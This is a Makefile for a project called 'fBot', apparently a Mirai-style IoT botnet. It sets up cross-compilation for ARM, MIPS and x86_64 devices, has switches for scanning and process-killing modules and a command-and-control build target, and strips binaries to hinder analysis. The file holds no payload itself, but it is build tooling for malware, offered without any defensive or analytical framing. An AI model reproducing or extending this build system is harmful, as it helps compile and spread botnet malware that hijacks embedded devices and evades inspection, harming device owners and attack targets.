# fBot build

SRC := bot
OUT := release
TARGET := fbot
OBJECT_OUT := build/bin
KILL := 0
SCAN := 0
CFLAGS := -D SCAN=$(SCAN) -D KILL=$(KILL)
HEADERS := $(wildcard $(SRC)/*.h)

#X86_TOOLCHAIN := /etc/xcompile/i686/bin
ARM4_TOOLCHAIN := /etc/xcompile/cross-compiler-armv4l/bin
ARM7_TOOLCHAIN := /etc/xcompile/cross-compiler-armv7l/bin
ARM5_TOOLCHAIN := /etc/xcompile/cross-compiler-armv5l/bin
#ARM6_TOOLCHAIN := /etc/xcompile/arm6/bin
#AARCH64_TOOLCHAIN := /etc/xcompile/aarch64/bin
MIPS_TOOLCHAIN := /etc/xcompile/cross-compiler-mips/bin
MIPSEL_TOOLCHAIN := /etc/xcompile/cross-compiler-mipsel/bin
X86_64_TOOLCHAIN := /etc/xcompile/cross-compiler-i586/bin

GCC_FLAGS := -s -Os -static -fomit-frame-pointer -fdata-sections \
			 -ffunction-sections -Wl,--gc-sections
STRIP_FLAGS := -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment \
             --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt \
             --remove-section=.ARM.attributes --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr --remove-section=.mdebug.abi32

all: make_debug

cnc: make_cnc

#include build/mk/x86.mk
include build/mk/debug.mk
include build/mk/arm7.mk
include build/mk/arm5.mk
include build/mk/arm4.mk
#include build/mk/arm6.mk
#include build/mk/aarch64.mk
include build/mk/mips.mk
include build/mk/mipsel.mk
include build/mk/x86_64.mk
#include build/mk/anti_debug.mk
include build/mk/cnc.mk

release: make_arm7 make_arm5 make_mips make_mipsel make_x86_64 make_arm4
